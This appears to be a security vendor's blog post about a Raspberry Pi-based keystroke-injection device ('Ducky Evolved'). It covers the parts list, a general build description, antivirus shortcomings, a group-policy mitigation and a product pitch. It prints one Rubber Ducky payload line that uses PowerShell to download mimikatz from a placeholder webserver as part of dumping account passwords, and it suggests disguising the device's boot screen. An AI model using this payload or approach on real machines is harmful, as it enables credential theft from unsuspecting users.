In a previous article where I addressed dual-use tools as not being as innocent as perceived, what better way to emphasize this point than by using another concept, both familiar and innocent, yet contorted to address evil purposes? I talk of course, of the rubber ducky. To most people, the image conjured by the ‘Rubber Ducky’ resonates with a wholesome scene of Ernie and his yellow rubber ducky in the bubble bath singing a catchy tune for children. Yet, when security-minded people talk about rubber ducky the connotation is something completely different and substantially more malicious.
What is this said rubber ducky? Far less loveable than the original, this rubber ducky is generally installed on a small USB flash drive then plugged into a computer, it acts as an HID (Human Interface Device) but inputs commands at superhuman speeds. This rubber ducky can be programmed to do all kinds of nasty things (automatically) while requiring little intervention aside from plugging in and letting run for maybe 30 seconds. The magic comes from the logic board which has an onboard microSD housing allowing you to use one device to load any of many “pre-configured” scripts which then act and complete in mere seconds. This can be worrisome given the largest threat to a company turns out to be its employees (or soon to be ex-employees).
The USB rubber ducky is nice, but it raises suspicion when you are swapping out SD cards and plugging something back into a machine. So, what if there is a way to have multiple scripts available and a way to select them while not raising suspicion? As it happens it’s not only possible but in fact, I’ve built my own version which I use to demonstrate the shortcomings of legacy AV solutions vs Next Gen security solutions. Like the last article where I weaponized a dual-use tool and bypassed the endpoint security of multiple different programs, this challenge was issued by a colleague out of morbid curiosity. As it turns out, getting everything installed and running was not as simple as I initially thought, but I detail here the parts I used, how I implemented the project, and the insights I gained as a result.
Parts List:
- Raspberry Pi Zero-W (Wireless) w/GPIO pins soldered
- MicroSD Class 10 (I used 32GB)
- OLED screen w/4 way HAT
- USB Type A riser board
Here is what it looks like when fully assembled (the case looks rough as I had to “customize” it so all the parts would fit.
The Project:
Despite its perhaps humble appearance, I am calling this “Ducky Evolved” as it takes the basis of rubber ducky and allows for the customization and selection of packages (many, many custom packages) without having to swap SD cards or even access a remote console/local console page. Part of the reason this is so strong is the combination of the RBPi which is a very powerful and small form factor computer with a base image that contains a full installation of KALI Linux. There are other aspects of the project I had to install and heavily customize (such as OLED drivers, package for the local console which can be used in-lieu of the on-screen console, custom packages/payloads which then are uploaded to the RBPi for easy selection/deployment).
If you notice in the picture above, there is a USB plug just like a regular rubber ducky, but since this is an RBPi there is also a data port which can be used to plug in (should you opt to use a local console instead of the OLED+HAT that was configured). Below is what it looks like when you plug in via the data port (everything must be executed via local console instead of using the toggles since there is no direct access to the computer). I added a tiny bit of flare with the boot screen of mine, but you could change the image to something a bit more discreet making this a bit less “suspicious” if someone were to see you plugging this in.
Here is the console when plugged in via the USB data port.
Almost all the legacy AV solutions I tested in the prior article about dual-use tools did not detect anything the ducky was running because they are not designed to. Script analysis and prevention are not something most legacy AV solutions attempt and the ones which do attempt it, fail at picking up most of the payloads. Here is an example of a common payload which the original USB Rubber Ducky likes to execute (I am not putting the entire script, just the key part which most AV solutions SHOULD prevent but do not):
STRING PowerShell (new-object System.Net.WebClient).DownloadFile('http://<replace me with webserver ip/host>/mimikatz.exe','%TEMP%\mimikatz.exe')
The above string is utilized in part with the rest of the scripting to quickly (in less than 15 seconds) dump any and all accounts and passwords (including administrative) from the machine. Since mimikatz.exe is technically a dual-use tool not many classify the file itself as malicious, but normally detect it when it’s paired with other files of a malicious nature.
One way to prevent this is with some form of restriction on using mass storage devices via group policy:
All Removable Storage Access: Deny All Access
Most environments sadly don’t have that level of restriction (see the article on zero trust) so you will be completely reliant on the zero-time model to save you. Legacy AV solutions do not have the capability to prevent this quickly and easily, but Deep Instinct does, its script prevention model will halt the ability for PowerShell/CScript/Wscript to execute in your environment. The need for a strong zero-time solution combined with a very strong understanding and application of a zero-trust model is an absolute necessity to protect against this type of threat. Deep Instinct which combines the most advanced form of AI Deep Learning provides responses in less than a second, instead of over a minute which is the case with other solutions
So why not use the best solution on the market?
Deep Instinct…. we prevent what others can’t find!